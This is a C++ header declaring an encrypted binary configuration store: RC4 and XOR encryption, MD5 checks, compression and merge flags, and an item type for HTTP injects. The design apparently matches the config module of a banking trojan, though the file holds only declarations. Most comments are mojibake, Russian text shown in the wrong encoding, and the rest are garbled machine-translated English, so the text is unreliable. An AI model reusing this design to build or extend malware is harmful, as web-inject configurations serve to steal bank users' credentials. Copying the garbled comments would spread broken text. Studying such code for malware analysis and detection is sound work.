binstorage.h

/*
  Ðàáîòà ñ áèíàðíûì õðàíèëèùåì.

  Ïðèìè÷àíèå: Ñîâïàäåíèå ID îïöèè äàåò wID1 == wID2 è ITEMF_IS_* == ITEMF_IS_*.
*/
#pragma once

#include "crypt.h"

#define BINSTORAGE_MAX_SIZE (10 * 1024 * 1024) //WININET_MAXBYTES_TO_MEM

namespace BinStorage
{
  //Flags for the ITEM.
  enum
  {
    ITEMF_COMPRESSED        = 0x00000001, //Data is compressed.
    
    //These flags are used to indicate the status of rewriting.
    ITEMF_COMBINE_ADD       = 0x00010000, //Append mode if the option suschetvuet, the record does not occur.
    ITEMF_COMBINE_OVERWRITE = 0x00020000, //Overwrite mode, if the option is not suschetvuet, a new record.
    ITEMF_COMBINE_REPLACE   = 0x00040000, //Regime change, if the option is not suschetvuet, recording is not happening.
    ITEMF_COMBINE_DELETE    = 0x00080000, //Delete mode previous one element and tekusheyu.
    ITEMF_COMBINE_MASK      = ITEMF_COMBINE_ADD | ITEMF_COMBINE_OVERWRITE | ITEMF_COMBINE_REPLACE | ITEMF_COMBINE_DELETE,

    //These flags are introduced to reduce the risk of overlap dwID.
    ITEMF_IS_OPTION         = 0x10000000, //The element is optional.
    ITEMF_IS_SETTING        = 0x20000000, //Element is the setting.
    ITEMF_IS_HTTP_INJECT    = 0x40000000, //Element is the http-injected.
    ITEMF_IS_MASK           = ITEMF_IS_OPTION | ITEMF_IS_SETTING | ITEMF_IS_HTTP_INJECT
  };

  #pragma pack(push, 1)
  //Header.
  typedef struct
  {
    BYTE randData[20];                //Proizvolnye data.
    DWORD size;                       //Full-size store.
    DWORD flags;                      //Flags.
    DWORD count;                      //Kolichetsvo options.
    BYTE md5Hash[16/*MD5HASH_SIZE*/]; //MD5 hash of p + sizeof (CONFIGHEADER) to p + dwSize.
  }STORAGE;
  
  //Element.
  typedef struct
  {
    DWORD id;       //ID option, usually CRC32.
    DWORD flags;    //Flags.
    DWORD size;     //The size of compressed data if the flag is set ITEMF_COMPRESSED. Otherwise equal realSize.
    DWORD realSize; //The actual size of the data.
  }ITEM;
  #pragma pack(pop)

  //Flags for _openStorageFile ().
  enum
  {
    OSF_WRITE_ACCESS = 0x1 //Suschetvuet open file for writing, or create a new one in case
                           //otsutviya file.
  };
  
  //Data on hranilishi.
  typedef struct
  {
    HANDLE file;     //OUT file handle.
    DWORD64 curItem; //OUT position of the current element.
    DWORD xorKey;    //IN XOR encryption mask.
  }STORAGEARRAY;
  
  //Flags for _Pack.
  enum
  {
    PACKF_FINAL_MODE = 0x1 //Mode finalizing used to build the final configuration,
                           //priminyaet flags ITEMF_COMBINE_ *.
  };
  
  /*
    Èíèöèàëèçàöèÿ.
  */
  void init(void);

  /*
    Äåèíèöèàëèçàöèÿ.
  */
  void uninit(void);

  /*
    Ïðîâåðÿåò õýø õðàíèëèùà.

    IN binStorage - õðàíèëèùå

    Return - true - â ñëó÷àè ñîâïàäåíèÿ õýøà,
             false - â ñëó÷àè îøèáêè.
  */
  bool _checkHash(STORAGE *binStorage);
  
  /*
    Ñîçäàíèå ïóñòîãî õðàíèëèùà.

    Return - õðàíèëèùå (äîëæåí áûòü çàêðûò ÷åðåç Mem),
             èëè NULL â ñëó÷àè îøèáêè.
  */
  STORAGE *_createEmpty(void);
  
  /*
    Äîáàâëåíèå ýëåìåíòà â õðàíèëèùå.

    IN OUT binStorage - õðàíèëèùå.
    IN id             - ID íîâîé îïöèè.
    IN flags          - ôëàãè ITEMF_*.
    IN data           - äàííûå îïöèè.
    IN dataSize       - ðàçìåð äàííûõ.

    Return            - true, â ñëó÷àè óñïåøíîãî äîáàâëåíèÿ,
                        false, â ñëó÷àè îøèáêè. 
    
    Ïðèìè÷àíèå: Íàëè÷èå îïöèè äî äîáàâëåíèå íå ïðîâåðÿåòñÿ.
  */
  bool _addItem(STORAGE **binStorage, DWORD id, DWORD flags, void *data, DWORD dataSize);
  
  /*
    Äîáàâëåíèå Unicode-ñòðîêè â õðàíèëèùå êàê UTF-8 ñòðîêè.

    IN OUT binStorage - õðàíèëèùå.
    IN id             - ID íîâîé îïöèè.
    IN flags          - ôëàãè ITEMF_*.
    IN string         - ñòðîêà äëÿ äîáàâëåíèÿ.

    Return            - true, â ñëó÷àè óñïåøíîãî äîáàâëåíèÿ,
                        false, â ñëó÷àè îøèáêè.     
  */
  bool _addItemAsUtf8StringW(STORAGE **binStorage, DWORD id, DWORD flags, LPWSTR string);
  
  /*
    Äîáàâëåíèå ANSI-ñòðîêè â õðàíèëèùå êàê UTF-8 ñòðîêè.

    IN OUT binStorage - õðàíèëèùå.
    IN id             - ID íîâîãî ýëåìåíòà.
    IN flags          - ôëàãè ITEMF_*.
    IN string         - ñòðîêà äëÿ äîáàâëåíèÿ.

    Return            - true, â ñëó÷àè óñïåøíîãî äîáàâëåíèÿ,
                        false, â ñëó÷àè îøèáêè.     
  */
  bool _addItemAsUtf8StringA(STORAGE **binStorage, DWORD id, DWORD flags, LPSTR string);

  /*
    Ìîäèôèêàöèÿ ýëåìåíòà.

    IN OUT binStorage - õðàíèëèùå.
    IN item           - ýëåìåíò äëÿ ìîäèôèêàöèè (ïîñëå ìîäèôèêàöèè çàäàíûé àäðåñ ìîæåò áûòü íå
                        äåéñòâòåëåí).
    IN flags          - ôëàãè ITEMF_*.
    IN data           - äàííûå îïöèè.
    IN dataSize       - ðàçìåð äàííûõ.

    Return            - true, â ñëó÷àè óñïåøíîãî äîáàâëåíèÿ,
                        false, â ñëó÷àè îøèáêè. 
  */
  bool _modifyItem(STORAGE **binStorage, ITEM *item, DWORD flags, void *data, DWORD dataSize);
  
  /*
    Ìîäèôèêàöèÿ ýëåìåíòà.

    IN OUT binStorage - õðàíèëèùå.
    IN id             - ýëåìåíò äëÿ ìîäèôèêàöèè.
    IN flags          - ôëàãè ITEMF_*.
    IN data           - äàííûå îïöèè.
    IN dataSize       - ðàçìåð äàííûõ.

    Return            - true, â ñëó÷àè óñïåøíîãî äîáàâëåíèÿ,
                        false, â ñëó÷àè îøèáêè. 
  */
  bool _modifyItemById(STORAGE **binStorage, DWORD id, DWORD flags, void *data, DWORD dataSize);
  
  /*
    Ïîëó÷åíèå ñëåäóþùåãî ýëåìåíòà èç õðàíèëèùÿ.

    IN binStorage - õðàíèëèùå.
    IN curItem    - òåêóùèé ýëåìåíò, èëè NULL äëÿ ïîëó÷åíèÿ ïåðâîãî ýëåìåíòà.

    Return        - ñëåäóþùèé ýëåìåíò îòíîñèòåëüíî curItem, èëè NULL åñëè ýëåìåíòîâ áîëüøå íå íàéäåíî.
  */
  ITEM *_getNextItem(const STORAGE *binStorage, ITEM *curItem);

  /*
    Ïîëó÷åíèå ýëåìåíòà èç õðàíèëèùÿ.

    IN binStorage - õðàíèëèùå.
    IN id         - ID ýëåìåíòà.
    IN isFlag     - îäèí èç ôëàãîâ ITEMF_IS_* äëÿ îïðåäåëåíèÿ òèïà ýëåìåíòà.

    Return        - íàéäåíûé ýëåìåíò, èëè NULL åñëè ýëåìåíò íå íàéäåí.
  */
  ITEM *_getItem(const STORAGE *binStorage, DWORD id, DWORD isFlag);
  
  /*
    Ïîëó÷åíèå ñîäåðæèìîãî ýëåìåíòà èç õðàíèëèùÿ.

    IN pi  - ýëåìåíòà.

    Return - äàííûå ýëåìåíòà(äîëæíû áûòü îñâîáîæäåíû ÷åðåç Mem), èëè NULL åñëè äàííûõ íåò.

    Ïðèìå÷àíèå: äëÿ âûäåëÿåìûõ äàííûõ â êîíåö âñåãäà äîáàâëÿåòñÿ äîïîëíèòåëüíûé íóëåâîé WCHAR-ñèìâîë,
                ÷òî ïîçâîëÿåò áåçîïàñíî ðàáîòàòü ñî ñòðîêàìè.
  */
  void *_getItemData(const ITEM *item);

  /*
    Ïîëó÷åíèå ñîäåðæèìîãî ýëåìåíòà èç õðàíèëèùà. Îáîëî÷êà äëÿ _GetItem è _GetItemData.

    IN binStorage - õðàíèëèùå.
    IN id         - ID ýëåìåíòà.
    IN isFlag     - îäèí èç ôëàãîâ ITEMF_IS_* äëÿ îïðåäåëåíèÿ òèïà ýëåìåíòà.
    OUT size      - ðàçìåð äàííûõ. Ìîæåò áûòü NULL.

    Return        - äàííûå ýëåìåíòà(äîëæíû áûòü îñâîáîæäåíû ÷åðåç Mem), èëè NULL åñëè äàííûõ íåò.
  */
  void *_getItemDataEx(const STORAGE *binStorage, DWORD id, DWORD isFlag, LPDWORD size);

  /*
    Ïîëó÷åíèå ñîäåðæèìîãî ýëåìåíòà èç õðàíèëèùà êàê DWORD.

    IN binStorage - õðàíèëèùå.
    IN id         - ID ýëåìåíòà.
    IN isFlag     - îäèí èç ôëàãîâ ITEMF_IS_* äëÿ îïðåäåëåíèÿ òèïà ýëåìåíòà.
    OUT data      - äàííûå. Ìîæåò áûòü NULL, åñëè çíà÷åíèå íå íóæíî.

    Return        - true - â ñëó÷àè óñïåõà,
                    false - â ñëó÷àè îøèáêè.
  */
  bool _getItemDataAsDword(const STORAGE *binStorage, DWORD id, DWORD isFlag, LPDWORD data);
  
  /*
    Óïàêîâêà õðàíèëèùà.

    IN OUT binStorage - íà âõîäå õðàíèëèùå äëÿ îáðàáîòêè, íà âûõîäå îáðàáîòàíîå õðàíèëèùå,
                        êîòîðîå óæå íå ïðèãîäíî äëÿ èñïîëüçîâàíèÿ. Äëÿ ïîâòîðíîãî èñïîëüçîâàíèÿ
                        íóæíî âûçûâàòü _unpack().
    IN flags          - ðåæèì ôèíàëèçàöèè, èñïîëüçóåòñÿ äëÿ ñáîðêè êîíå÷íîãî õðàíèëèùà, ïðèìèíÿåò
                        ôëàãè PACKF_*.
    IN rc4Key         - êëþ÷ øèôðîâàíèÿ èëè NULL åñëè øèôðîâàíèå íå íóæíî. Êëþ÷ íå èçìåíÿåòñÿ.

    Return            - ðàçìåð õðàíèëèùà, èëè 0 â ñëó÷àè îøèáêè.
  */
  DWORD _pack(STORAGE **binStorage, DWORD flags, Crypt::RC4KEY *rc4Key);

DWORD _pack2(STORAGE **binStorage, DWORD flags, Crypt::RC4KEY *rc4Key);

  /*
    Ðàñïàêîâêà êîíôèãóðàöèè.

    OUT binStorage - õðàíèëèùå. Äîëæíî áûòü îñâîáîæäåíà ÷åðåç Mem. Åñëè binStorage == NULL, òî
                     ðàñïàêîâêà ïðîèñõîäèò âíóòðè data.
    IN OUT data    - äàííûå êîòîðûå ÿâëÿþòñÿ óïàêîâàíûì õðàíèëèùåè. Åñëè binStorage == NULL, òî
                     ðàñïàêîâêà ïðîèñõîäèò âíóòðè data.
    IN dataSize    - ðàçìåð data.
    IN rc4Key      - êëþ÷ øèôðîâàíèÿ èëè NULL åñëè øèôðîâàíèå íå íóæíî.

    Return         - ðàçìåð õðàíèëèùà, èëè 0 â ñëó÷àè îøèáêè, òàêæå *binStorage áóäåò ðàâåí NULL.
  */
  DWORD _unpack(STORAGE **binStorage, void *data, DWORD dataSize, Crypt::RC4KEY *rc4Key);

  /*
    Ðàñïàêîâêà õðàíèëèùà èç ôàéëà.

    OUT binStorage - õðàíèëèùå. Äîëæíî áûòü îñâîáîæäåíà ÷åðåç Mem.
    IN fileName    - ôàéë õðàíèëèùà.
    IN rc4Key      - êëþ÷ øèôðîâàíèÿ èëè NULL åñëè øèôðîâàíèå íå íóæíî.

    Return          - ðàçìåð õðàíèëèùà, èëè 0 â ñëó÷àè îøèáêè, òàêæå *binStorage áóäåò ðàâåí NULL.
  */
  DWORD _unpackFromFile(STORAGE **binStorage, LPWSTR fileName, Crypt::RC4KEY *rc4Key);
  
  /*
    Îáúåäåíÿåò äâà õðàíèëèùà â îäíî íîâîå. Âõîäíûå õðàíèëèùà äîëæíû áûòü êîððåêòíûìè.

    IN binStorage1 - ïåðâîå õðàíèëèùå.
    IN binStorage2 - âòîðîå õðàíèëèùå.

    Return         - íîâîå õðàíèëèùå, èëè NULL â ñëó÷àè îøèáêè.
  */
  STORAGE *_combine(STORAGE *binStorage1, STORAGE *binStorage2);

  /*
    Îòêðûòèå/ñîçäàíèå ôàéëà ìàññèâà. Ïðè îòêðûòèè ôàéëà, ïðîâåðÿåòñÿ åãî êîððåêòíîñòü,
    è ïî âîçìîæíîñòè èñïðàâëþòñÿ îøèáêè (ïðè ýòîì ÷àñòü äàííûõ ìîæåò áûòü óòåðåíà).

    IN fileName         - èìÿ ôàéëà.
    IN flags            - ôëàãè OSF_.
    IN OUT storageArray - äàííûå îá ìàññèâå. Íà âõîäå äîëæíî áûòü çàïîëåíåíî êàê â îïèñàíèè.

    Return              - true - â ñëó÷àè óñïåøíîãî îòêðûòèÿ ôàéëà,
                          false - â ñëó÷àè îøèáêè îòêðûòèÿ èëè êðèòè÷åñêîé îøèáêè â ôàéëå(
                          storage->file áóäåò ðàâåí INVALID_HANDLE_VALUE).

    Ïðèìå÷àíèå:  ñëó÷àè âîçâðàòà false: flags & OSF_WRITE_ACCESS è
                GetLastError() != ERROR_ACCESS_DEFINED ðåêîìåíäóåñÿ óäàëÿòü ôàéë, â ïðîòèâíîì ñëó÷àè
                ïîïðîáûâàòü èñïðàâèòü îøèáêè îòðêûâ ôàéë ÷åðåç OSF_WRITE_ACCESS.
  */
  bool _openStorageArray(LPWSTR fileName, DWORD flags, STORAGEARRAY *storageArray);
  
  /*
    Çàêðûâàåò ìàññèâ.
    
    IN OUT storageArray - ìàññèâ.

    Ïðèìå÷àíèå: Íà âûõîäå storageArray->file áóäåò ðàâåí INVALID_HANDLE_VALUE.
  */
  void _closeStorageArray(STORAGEARRAY *storageArray);
  
  /*
    Äîáàâëåíèå õðàíèëèùà â êîíåö ìàññèâà.

    IN storageArray - ìàññèâ.
    IN binStorage   - çàøèôðîâàííîå õðàíèëèùå.
    IN size         - ðàçìåð õðàíèëèùà.

    Return          - true - â ñëó÷àè óñïåõà,
                      false - â ñëó÷àè îøèáêè.
  */
  bool _addToStorageArray(STORAGEARRAY *storageArray, STORAGE *binStorage, DWORD size);
  
  /*
    Ñáðàñûâàåò óêàçàòåëü ìàññèâà ñëåäóþùèåãî õðàíèëèùà íà íóëåâîé.
    
    IN storageArray - ìàññèâ.
  */
  void _resetStorageArrayPointer(STORAGEARRAY *storageArray);
  
  /*
    Ïîëó÷àåò ñëåäóþùèå õðàíèëèùå â ìàññèâå. Ôóíêöèÿ âûçûâàåò _unpack äëÿ ïðîâåðêè è
    ðàñøèôðîâûâàíèÿ õðàíèëèùà.

    IN storageArray - ìàññèâ.
    OUT binStorage  - õðàíèëèùå. Äîëæíî áûòü îñâîáîæäåíà ÷åðåç Mem.
    OUT size        - ðàçìåð õðàíèëèùÿ.
    IN rc4Key       - êëþ÷ øèôðîâàíèÿ èëè NULL.

    Return          - true - â ñëó÷àè óñïåõà, åñëè *size - òî äîñòèãíóò êîíåö ôàéëà,
                      false - â ñëó÷àè îøèáêè.
  */
  bool _getNextFromStorageArray(STORAGEARRAY *storageArray, STORAGE **binStorage, LPDWORD size, Crypt::RC4KEY *rc4Key);
  
  /*    Removes the current repository of the array.
    
    IN storageArray - array.
    
    Return - true - if successful,
                      false - if an error occurs.
  */
  bool _removeCurrentFromStorageArray(STORAGEARRAY *storageArray);
};